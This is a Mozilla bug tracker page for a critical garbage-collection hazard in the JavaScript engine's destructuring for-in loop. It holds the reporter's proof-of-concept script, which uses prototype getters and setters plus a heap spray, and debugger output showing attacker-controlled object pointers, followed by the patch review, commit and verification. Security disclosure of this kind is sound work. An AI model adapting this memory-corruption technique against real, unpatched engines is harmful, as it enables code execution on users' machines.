Closed
Bug 355410
Opened 18 years ago
Closed 18 years ago
GC hazard in for([k,v] in o){...}
Categories
(Core :: JavaScript Engine, defect)
Tracking
()
VERIFIED
FIXED
People
(Reporter: sync2d, Assigned: igor)
References
Details
(Keywords: crash, verified1.8.1, Whiteboard: [sg:critical?] js1.7 feature)
Attachments
(2 files, 2 obsolete files)
(deleted),
patch
|
brendan
:
review+
mtschrep
:
approval1.8.1+
|
Details | Diff | Splinter Review |
(deleted),
text/plain
|
Details |
$ cat for-in-kv-GC-hazard.txt
var address = 0xbadf00d0, basket = { food: {} };
var AP = Array.prototype, rooter = {};
AP.__defineGetter__(0, function() { return this[-1]; });
AP.__defineSetter__(0, function(v) {
basket.food = null;
for(var i = 0; i < 8 * 1024; i++) {
rooter[i] = 0x10000000000000 + address; // IEEE754!
}
return this[-1] = v;
});
for(var [key, value] in basket) { value.trigger; }
$ gdb --eval run --args dbg.obj/js -b 99999 for-in-kv-GC-hazard.txt
...
Program received signal SIGSEGV, Segmentation fault.
0x00475b83 in js_Interpret (cx=0xb507a0, pc=0xb541b6 "5", result=0xa2ec50)
at jsinterp.c:3851
3851 CACHED_GET(OBJ_GET_PROPERTY(cx, obj, id, &rval));
(gdb) print *obj
$1 = {map = 0xbadf00d0, slots = 0x43300000}
...
You can control obj->map, map->ops, ops->getProperty, etc. => exploitable.
Updated•18 years ago
|
Flags: blocking1.9?
Flags: blocking1.8.1?
Flags: blocking1.8.1.1?
Flags: blocking1.8.0.9?
Assignee | ||
Comment 1•18 years ago
|
||
It seems for me it is a dup of bug 354499.
Assignee | ||
Comment 2•18 years ago
|
||
To shutdown@flashmail.com : I am curious, did you find this with a help of some tool or just by checking the source? If the former, then we should land the fix ASAP.
Assignee | ||
Comment 3•18 years ago
|
||
Note that is not a duplicate of bug 354499, it is a different problem that is not covered by the original case.
Assignee | ||
Comment 4•18 years ago
|
||
To clear the situation.
With the cleanup patch for bug 354982 landed the fix bug 354499 would enough to solve the problem. Now if it would be necessary to fix the issue before that we need an extra patch that roots the atom.
Assignee: general → igor.bukanov
Assignee | ||
Comment 5•18 years ago
|
||
This is a patch for 1.8.1 branch if it would be necessary to resolve this before landing on 1.8.1 branch the cleanup patch from bug 354982. Otherwise the patch should *not* be applied.
Attachment #241274 -
Flags: review?(brendan)
Attachment #241274 -
Flags: approval1.8.1?
Assignee | ||
Comment 6•18 years ago
|
||
The previous patch was empty.
Attachment #241274 -
Attachment is obsolete: true
Attachment #241275 -
Flags: review?(brendan)
Attachment #241275 -
Flags: approval1.8.1?
Attachment #241274 -
Flags: review?(brendan)
Attachment #241274 -
Flags: approval1.8.1?
Comment 7•18 years ago
|
||
Comment on attachment 241275 [details] [diff] [review]
Quick fix for for 1.8.1-only for real
I'd rather take the larger patch, but sure -- this is brute force, at the cost atomic increment and decrement.
/be
Attachment #241275 -
Flags: review?(brendan) → review+
(In reply to comment #2)
> To shutdown@flashmail.com : I am curious, did you find this with a help
> of some tool or just by checking the source? If the former, then we
> should land the fix ASAP.
just by checking the source.
Comment 10•18 years ago
|
||
Comment on attachment 241275 [details] [diff] [review]
Quick fix for for 1.8.1-only for real
Approved for RC3.
Attachment #241275 -
Flags: approval1.8.1? → approval1.8.1+
Assignee | ||
Comment 11•18 years ago
|
||
I committed the patch from comment 6 to MOZILLA_1_8_BRANCH:
Checking in jsinterp.c;
/cvsroot/mozilla/js/src/jsinterp.c,v <-- jsinterp.c
new revision: 3.181.2.69; previous revision: 3.181.2.68
done
Comment 12•18 years ago
|
||
Updated•18 years ago
|
Flags: in-testsuite+
Comment 13•18 years ago
|
||
This appears to be a js1.7 fix that's not needed in 1.8.0.8 -- please renominate if I'm wrong.
Flags: blocking1.8.0.9? → blocking1.8.0.8-
Whiteboard: [sg:critical?] js1.7 feature
Comment 14•18 years ago
|
||
verified fixed 20061009 1.8 windows/linux/mac* 1.9 windows/linux.
note the harness failed to capture the test results but did not crash. running the test manually showed no problems.
Status: RESOLVED → VERIFIED
Keywords: fixed1.8.1 → verified1.8.1
Comment 15•18 years ago
|
||
reset Array.prototype[0]
Attachment #241705 -
Attachment is obsolete: true
Updated•18 years ago
|
Flags: blocking1.8.1.1?
Updated•18 years ago
|
Group: security
Comment 16•18 years ago
|
||
/cvsroot/mozilla/js/tests/js1_7/extensions/regress-355410.js,v <-- regress-355410.js
You need to log in
before you can comment on or make changes to this bug.
Description
•